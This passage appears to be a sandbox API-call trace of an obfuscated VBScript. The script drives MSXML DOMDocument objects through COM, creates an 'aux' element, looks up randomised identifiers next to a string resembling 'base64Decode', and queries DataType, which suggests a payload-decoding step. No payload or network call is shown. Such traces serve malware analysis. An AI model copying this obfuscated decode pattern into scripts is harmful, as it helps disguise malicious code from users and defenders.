[1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154318 | out: ppvObject=0x154318*=0x0) returned 0x80004002 [0087.520] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x76413e0c*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154308 | out: ppvObject=0x154308*=0x0) returned 0x80004002 [0087.520] DOMDocument:IUnknown:AddRef (This=0x1112ba8) returned 0x2 [0087.520] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b7c7c0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1543c8 | out: ppvObject=0x1543c8*=0x1112ba8) returned 0x0 [0087.520] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153328 | out: ppvObject=0x153328*=0x1112ba8) returned 0x0 [0087.520] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0087.520] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.520] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.521] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532fc | out: ppvObject=0x1532fc*=0x0) returned 0x80004002 [0087.521] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0087.521] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0087.521] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0087.521] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.521] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.521] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), riid=0x72b9da38*(Data1=0xfc4801a1, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x153304 | out: ppvObject=0x153304*=0x0) returned 0x80004002 [0087.521] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0087.521] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0087.521] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.521] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.521] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.521] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.521] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0087.521] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0087.521] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.521] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153290 | out: ppvObject=0x153290*=0x83fd368) returned 0x0 [0087.521] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x15328c | out: ppvObject=0x15328c*=0x83fd378) returned 0x0 [0087.522] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.522] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0087.522] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0087.522] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x3 [0087.522] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0087.522] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b9da58*(Data1=0x118, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153318 | out: ppvObject=0x153318*=0x0) returned 0x80004002 [0087.522] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x153334 | out: ppvObject=0x153334*=0x1112ba8) returned 0x0 [0087.522] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0087.522] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.522] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.522] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9da28*(Data1=0x75dd09cb, Data2=0x6c40, Data3=0x11d5, Data4=([0]=0x85, [1]=0x43, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xa0, [6]=0xfb, [7]=0xa3)), riid=0x72b7c81c*(Data1=0xc, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x153320 | out: ppvObject=0x153320*=0x0) returned 0x80004002 [0087.522] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0087.522] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0087.522] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0087.522] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.522] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.522] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b7c82c*(Data1=0x2933bf81, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppvObject=0x153330 | out: ppvObject=0x153330*=0x0) returned 0x80004002 [0087.523] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0087.523] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0087.523] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.523] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.523] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.523] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e27c*(Data1=0xb722be00, Data2=0x4e68, Data3=0x101b, Data4=([0]=0xa2, [1]=0xbc, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x40, [6]=0x47, [7]=0x70)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.524] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0087.524] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0087.524] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.524] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1532e8 | out: ppvObject=0x1532e8*=0x83fd368) returned 0x0 [0087.524] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1532e4 | out: ppvObject=0x1532e4*=0x83fd378) returned 0x0 [0087.524] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9da48*(Data1=0x332c4425, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x153324 | out: ppvObject=0x153324*=0x0) returned 0x80004002 [0087.524] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0087.524] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0087.524] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x3 [0087.524] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x2 [0087.524] DOMDocument:IUnknown:QueryInterface (in: This=0x1112ba8, riid=0x72b9d3a4*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x1543c0 | out: ppvObject=0x1543c0*=0x1112ba8) returned 0x0 [0087.524] DOMDocument:IServiceProvider:QueryService (in: This=0x1112ba8, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0087.524] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154394 | out: ppvObject=0x154394*=0x83fd368) returned 0x0 [0087.525] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x6689ff2c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x154390 | out: ppvObject=0x154390*=0x83fd378) returned 0x0 [0087.525] VBScriptEngine5:IServiceProvider:QueryService (in: This=0x83fd378, guidService=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), riid=0x72b9e3e4*(Data1=0x3af280b6, Data2=0xcb3f, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0xbf, [7]=0xc4)), ppvObject=0x1543c4 | out: ppvObject=0x1543c4*=0x0) returned 0x80004002 [0087.525] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0087.525] VBScriptEngine5:IUnknown:Release (This=0x83fd378) returned 0x4 [0087.525] DOMDocument:IUnknown:Release (This=0x1112ba8) returned 0x2 [0087.525] DOMDocument:IUnknown:Release (This=0x5564ec) returned 0x1 [0087.525] DOMDocument:IUnknown:QueryInterface (in: This=0x5564c0, riid=0x66894140*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x154454 | out: ppvObject=0x154454*=0x5552f8) returned 0x0 [0087.525] DOMDocument:IUnknown:AddRef (This=0x5552f8) returned 0x2 [0087.525] DOMDocument:IUnknown:Release (This=0x5552f8) returned 0x1 [0087.525] DOMDocument:IUnknown:Release (This=0x5564c0) returned 0x2 [0087.525] DOMDocument:IUnknown:QueryInterface (in: This=0x5552f8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x55532c) returned 0x0 [0087.526] DOMDocument:IDispatchEx:GetDispId (in: This=0x55532c, bstrName="CreateElement", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=41) returned 0x0 [0087.526] DOMDocument:IUnknown:Release (This=0x55532c) returned 0x1 [0087.526] DOMDocument:IUnknown:AddRef (This=0x5552f8) returned 0x2 [0087.526] DOMDocument:IUnknown:QueryInterface (in: This=0x5552f8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154544 | out: ppvObject=0x154544*=0x55532c) returned 0x0 [0087.526] ??2@YAPAXI@Z () returned 0x846d2a8 [0087.526] VBScriptEngine5:IUnknown:AddRef (This=0x83fd368) returned 0x5 [0087.526] VBScriptEngine5:IUnknown:QueryInterface (in: This=0x83fd368, riid=0x668940a0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x846d2c0 | out: ppvObject=0x846d2c0*=0x83fd368) returned 0x0 [0087.526] VBScriptEngine5:IUnknown:Release (This=0x83fd368) returned 0x5 [0087.526] DOMDocument:IDispatchEx:InvokeEx (in: This=0x55532c, id=41, lcid=0x409, wFlags=0x3, pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x87e491c)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624, pei=0x1544ec, pspCaller=0x846d2a8 | out: pdp=0x154510*(rgvarg=([0]=0x83d66d8*(varType=0x8, wReserved1=0x0, wReserved2=0x46e4, wReserved3=0x0, varVal1="aux", varVal2=0x87e491c)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x154624*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x555450, varVal2=0x0), pei=0x1544ec*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0087.527] DOMDocument:IUnknown:Release (This=0x55532c) returned 0x2 [0087.527] DOMDocument:IUnknown:Release (This=0x5552f8) returned 0x1 [0087.527] DOMDocument:IUnknown:QueryInterface (in: This=0x555450, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154434 | out: ppvObject=0x154434*=0x555430) returned 0x0 [0087.527] DOMDocument:IUnknown:Release (This=0x555450) returned 0x1 [0087.527] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.527] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154478 | out: ppvObject=0x154478*=0x11977a8) returned 0x0 [0087.527] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="alxmd", grfdex=0x8, pid=0x154494 | out: pid=0x154494*=1393904) returned 0x80020006 [0087.528] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="alxmd", grfdex=0x8, pid=0x1543ec | out: pid=0x1543ec*=-1) returned 0x80020006 [0087.528] GetCurrentThreadId () returned 0xd44 [0087.528] IUnknown:Release (This=0x11977a8) returned 0x8 [0087.528] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 [0087.528] IUnknown:QueryInterface (in: This=0x11977a8, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x154764 | out: ppvObject=0x154764*=0x11977a8) returned 0x0 [0087.529] IDispatchEx:GetDispId (in: This=0x11977a8, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x154780 | out: pid=0x154780*=1394652) returned 0x80020006 [0087.529] VBScriptEngine5:IDispatchEx:GetDispId (in: This=0x83fd390, bstrName="odjeiojfyd2f8fu34u", grfdex=0x8, pid=0x1546d8 | out: pid=0x1546d8*=-1) returned 0x80020006 [0087.529] GetCurrentThreadId () returned 0xd44 [0087.529] IUnknown:Release (This=0x11977a8) returned 0x7 [0087.529] malloc (_Size=0x404) returned 0x11c29f0 [0087.529] ??2@YAPAXI@Z () returned 0x86bfee0 [0087.529] malloc (_Size=0x804) returned 0x8470df8 [0087.529] IUnknown:AddRef (This=0x11977a8) returned 0x8 [0087.529] _wcsicmp (_String1="wslausfychks", _String2="age64Dicode") returned 22 [0087.529] _wcsicmp (_String1="alxmd", _String2="age64Dicode") returned 5 [0087.529] DOMDocument:IUnknown:QueryInterface (in: This=0x555430, riid=0x668919c4*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x15453c | out: ppvObject=0x15453c*=0x555430) returned 0x0 [0087.530] DOMDocument:IDispatchEx:GetDispId (in: This=0x555430, bstrName="DataType", grfdex=0x8, pid=0x154558 | out: pid=0x154558*=26) returned 0x0 [0087.530] DOMDocument:IUnknown:Release (This=0x555430) returned 0x1 [0087.530] DOMDocument:IUnknown:AddRef (This=0x555430) returned 0x2 